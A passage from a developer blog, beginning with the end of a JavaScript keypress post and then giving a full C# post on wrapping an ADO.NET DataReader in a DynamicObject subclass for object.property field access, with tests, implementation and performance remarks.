Keep in mind that the keypress only fires on printable characters and that the key code value for e.which will be different than those in keydown and keyup. If you need to handle both printable and special keys you might have to implement both keyDown and keyPress.

Hopefully this utility plus some of these suggestions will prove useful to some of you. I know it will be to me the next time I have a need to manipulate keystrokes in my JavaScript code - information like this has a half life of about 2 days with me after it files out of my brain again :-). This blog post should help me remember next time…

Posted in JavaScript jQuery HTML

Creating a Dynamic DataReader for easier Property Access

Rick Strahl — Tue, 06 Dec 2011 13:04:04 GMT

I've been thrown back to using plain old ADO.NET for a bit in a legacy project I'm helping one of my customers with and in the process am finding a few new ways to take advantage of .NET 4 language features to make a number of operations easier. Specifically I'm finding that the new Dynamic type in .NET 4.0 can make a number of operations easier to use and considerably cleaner to read and type. A couple of weeks ago I posted an example of a DynamicDataRow class that uses dynamic to expose DataRow column values as properties.

In this post I do something similar with for the ADO.NET DataReader by exposing a custom dynamic type that retrieves values from the DataReader field collection and exposes them as properties.

Why hack the DataReader?

DbDataReader is one of the lowest level ADO.NET data structures - it returns raw firehose data from the database and exposes it via a simple reader interface that relies on simple looping and internal collection of field keys and values.

Here's a small example that demonstrates the basics using a DataAccess helper SqlDataAccess from Westwind.Utilities from the West Wind Web Toolkit to keep this example small.

[TestMethod]
public void BasicDataReaderTimerTests()
{
    var data = new SqlDataAccess("WebStore_ConnectionString");
    var reader = data.ExecuteReader("select * from wws_items");
    Assert.IsNotNull(reader, "Query Failure: " + data.ErrorMessage);
    
    StringBuilder sb = new StringBuilder();
    
    Stopwatch watch = new Stopwatch();
    watch.Start();
    
    while (reader.Read())
    {
        string sku  = reader["sku"] as string;
        string descript = reader["descript"] as string;

        decimal? price;
        object t = reader["Price"];
        if (t == DBNull.Value)
            price = null;
        else
            price = (decimal)t;
        
        
        sb.AppendLine(sku + " " + descript + " " + price.Value.ToString("n2"));                    
    }

    watch.Stop();

    reader.Close();

    Console.WriteLine(watch.ElapsedMilliseconds.ToString());
    Console.WriteLine(sb.ToString());                                
}

The code is pretty straight forward. SqlDataAccess takes a connection string or connection string name from the config file as a parameter in the constructor to initialize the DAL. Once instantiated you can run a number of data access commands to create a DataReader (or DataSet/DataTable) or execute commands in various ways on this connection. Here I use ExecuteReader() to produce a DataReader I can loop through. The code then loops through the records using reader.Read() which returns false when the end of the result set is reached.

Inside of the loop I can then access each of the fields. Notice that each field has to be explicitly cast to a specific type (as string or (decimal) here). In addition if you support NULL values in the database you also have to explicitly check for DBNull values showing up in the DataReader fields which is messy.

It's not terribly complicated to do any of this - just a bit of extra typing and - aesthetically - the code looks a bit messy.

Using DynamicDataReader

Personally I prefer standard object.property syntax when dealing with data and a custom dynamic type can actually make that easy. While it won't give me a full strongly typed .NET type, I can at least get the standard object syntax with this implementation.

Here's the code that does exactly the same thing using the DynamicDataReader:

[TestMethod]
public void BasicDynamicDataReaderTimerTest()
{
    var data = new SqlDataAccess("WebStore_ConnectionString");
    var reader = data.ExecuteReader("select * from wws_items");

    Assert.IsNotNull(reader, "Query Failure: " + data.ErrorMessage);

    dynamic dreader = new DynamicDataReader(reader);

    Stopwatch watch = new Stopwatch();
    watch.Start();


    while (reader.Read())
    {
        string sku = dreader.Sku;
        string descript = dreader.Descript;
        decimal? price = dreader.Price;

        sb.AppendLine(sku + " " + descript + " " + price.Value.ToString("n2"));
    }

    watch.Stop();

    reader.Close();

    Console.WriteLine(watch.ElapsedMilliseconds.ToString());
    Console.WriteLine(sb.ToString());
}

The code is nearly the same except in the two places highlighted in bold: a new DynamicDataReader() instance is created and the values assigned are read from this dreader instance as property values.

Even though this is a simple example that only uses 3 fields, it still is quite a bit cleaner than the first example:

It uses cleaner object.property syntax
All the type casting is gone
The DBNull to .NET NULL assignment is automatic

Good News, Bad News

It's important to understand that what you're seeing is a dynamic type, not a strongly typed .NET type. Dynamic means you get to use object.property syntax in this case, and you get automatic casting, but you do not get strong typing and so no compiler type checking or Intellisense on those properties. They are dynamic and so essentially syntactic sugar around dynamic invocation and Reflection implemented through the Dynamic Language Runtime (DLR).

Because the type is dynamic there's also a performance penalty. Specifically first time access of the dynamic properties tends to be slow. Once the DLR is spun up and a dynamic type created from the DataReader and you've iterated over each property once, the parsing is fairly swift on repeated calls/conversions. In informal testing it looks like the dynamic code takes roughly three times as long as the raw code from a cold start, and is a little over 1.5 times slower once the dynamic type has been created once. Not sure why that is because the implementation just does look ups into the DataReader field collection (no Reflection caching for PropertyInfo data), but nevertheless repeated requests are significantly faster than first time access.

Even through performance was nearly twice as slow using the dynamic type, the numbers were still very fast taking less than 8 milliseconds for rendering 500 records compared to 4-5 with raw DataReader access. Hardly a deal breaker in all but the most critical scenarios especially when you figure in the cost of data access (which the example code doesn't for the timings).

How does DynamicDataReader work?

The DLR makes it very easy to abstract data structures and wrap them into an object based syntax. Using DynamicObject as a base class to implement custom types, you can basically implement 'method missing' or 'property missing' functionality by simply overriding the TryGetMember() method and TryInvokeMember() methods.

Here's the implementation of DynamicDataReader:

/// <summary>
/// This class provides an easy way to use object.property
/// syntax with a DataReader by wrapping a DataReader into
/// a dynamic object.
/// 
/// The class also automatically fixes up DbNull values
/// (null into .NET and DbNUll)
/// </summary>
public class DynamicDataReader : DynamicObject
{
    /// <summary>
    /// Cached Instance of DataReader passed in
    /// </summary>
    IDataReader DataReader;
    
    /// <summary>
    /// Pass in a loaded DataReader
    /// </summary>
    /// <param name="dataReader">DataReader instance to work off</param>
    public DynamicDataReader(IDataReader dataReader)
    {
        DataReader = dataReader;
    }

   /// <summary>
   /// Returns a value from the current DataReader record
   /// If the field doesn't exist null is returned.
   /// DbNull values are turned into .NET nulls.
   /// </summary>
   /// <param name="binder"></param>
   /// <param name="result"></param>
   /// <returns></returns>
    public override bool TryGetMember(GetMemberBinder binder, out object result)
    {
        result = null;

        // 'Implement' common reader properties directly
        if (binder.Name == "IsClosed")            
            result = DataReader.IsClosed;                            
        else if (binder.Name == "RecordsAffected")            
            result = DataReader.RecordsAffected;                         
        // lookup column names as fields
        else
        {
            try
            {
                result = DataReader[binder.Name];
                if (result == DBNull.Value)
                    result = null;                    
            }
            catch 
            {
                result = null;
                return false;
            }
        }

        return true;
    }

    public override bool TryInvokeMember(InvokeMemberBinder binder, object[] args, out object result)
    {
        // Implement most commonly used method
        if (binder.Name == "Read")
            result = DataReader.Read();
        else if (binder.Name == "Close")
        {
            DataReader.Close();
            result = null;
        }
        else
            // call other DataReader methods using Reflection (slow - not recommended)
            // recommend you use full DataReader instance
            result = ReflectionUtils.CallMethod(DataReader, binder.Name, args);

        return true;            
    }
}

As you can see the implementation is super simple. The implementation inherits from Dynamic object and overrides TryGetMember() and TryInvokeMember(). The constructor is set up so it passes in a DataReader instance which is stored internally. TryGetMember() is then called when an 'unknown' property is accessed on the dynamic type and tries to find a matching value in the DataReader field collection based on the binder.Name property.

The class also implements a couple of DataReader's common properties (IsClosed, RecordsAffected) and methods (Read, Close) to match a full DataReader's functionality so it can behave like a full DataReader instance, so you can write code like this:

dynamic reader = new DynamicDataReader(data.ExecuteReader("select * from wws_items"));
while (reader.Read()) 
{ … }

The key feature however is that values from the DataReader fields collection are turned into properties which is handled by

try
{
    result = DataReader[binder.Name];
    if (result == DBNull.Value)
        result = null;
}
catch { result = null; return false; }

Note that the code handles the null conversion and the assignment of the result value the value from the DataReader field. TryGetMember() expects an out parameter for result and the value set is what effectively becomes the property value that is used when accessing the object.property syntax.

It's neat how easy it is to implement custom behavior in TryGetMember(). Note that I can check for explicit values (like IsClosed and RecordsAffected) as well as checking the fields collection for matching values. IOW, you can have a single dynamic return values for properties from any number of 'data sources' easily, be it from static translations, an internal data structure like a DataReader or DataRow, an XML document or even via Reflection from additional properties on the object. You have full control over this implementation which is very powerful and opens up many more avenues to simplify structured data access.

Even easier: Get a DynamicDataReader directly from the DAL

With DynamicDataReader available, it's now a cinch to extend my DAL to directly return a dynamic data reader instance. We earlier saw the SqlDataAccess.ExecuteReader() method which returned a DataReader. In the SqlDataAccessBase class I can now implement a dynamic version of ExecuteReader that directly returns a DynamicDataReader instance as a dynamic type:

/// <summary>
/// Executes a Sql statement and returns a dynamic DataReader instance 
/// that exposes each field as a property
/// </summary>
/// <param name="sql">Sql String to executeTable</param>
/// <param name="parameters">Array of DbParameters to pass</param>
/// <returns></returns>
public virtual dynamic ExecuteDynamicDataReader(string sql, params DbParameter[] parameters)
{
    var reader = ExecuteReader(sql, parameters);
    return new DynamicDataReader(reader);
}

which directly returns me a dynamic DataReader instance. Note that the type returned from ExecuteDynamicDataReader() is not DynamicDataReader but dynamic!

I can now fire off a query simply like this and use my object.property syntax without any conversion:

var data = new SqlDataAccess("WebStore_ConnectionString");
dynamic reader = data.ExecuteDynamicDataReader("select * from wws_items");

StringBuilder sb = new StringBuilder();

while (reader.Read())
{
    string sku = reader.Sku;
    string descript = reader.Descript;
    decimal? price = reader.Price;

    sb.AppendLine(sku + " " + descript + " " + price.Value.ToString("n2"));
}
reader.Close();

Note that Read() and Close() work on the dynamic because I explicitly implemented them in TryInvokeMember() based on the method name.

Summary

Sweet. This makes it super easy and transparent to access data with clean syntax! Personally I much prefer object.property syntax over collection syntax plus type casting and so I'm sold on this concept of using custom dynamic types for wrapping non object data structures into object syntax dynamic types.

Clearly this is not something you want to use for all occasions. Were performance is is of utmost importance, raw DataReader access is still a better choice. But for smallish result sets or one-off queries in application (especially admin interfaces) this can be a nice enhancement to make code easier to read and maintain.

Also, direct DataReader access - for me at least - seems to be going the way of the Dodo, with ORM based data access mostly replacing raw ADO.NET data access. But there are occasions even with an ORM that I fall back to DataReaders with complex queries or maintenance tasks where mapping a one of query to a type is simply overkill. Using this class though I can at least have ORM-like syntax in my code even if strong typing is not available.

And as I can attest to at the moment - old code dies only slowly - and I still find myself digging around in 10 year old code from time to time that uses low level ADO.NET data access and it's nice to have some tools to modernize that old code with, with minimal effort. This tool fits the bill for me.

Resources

Posted in .NET CSharp ADO.NET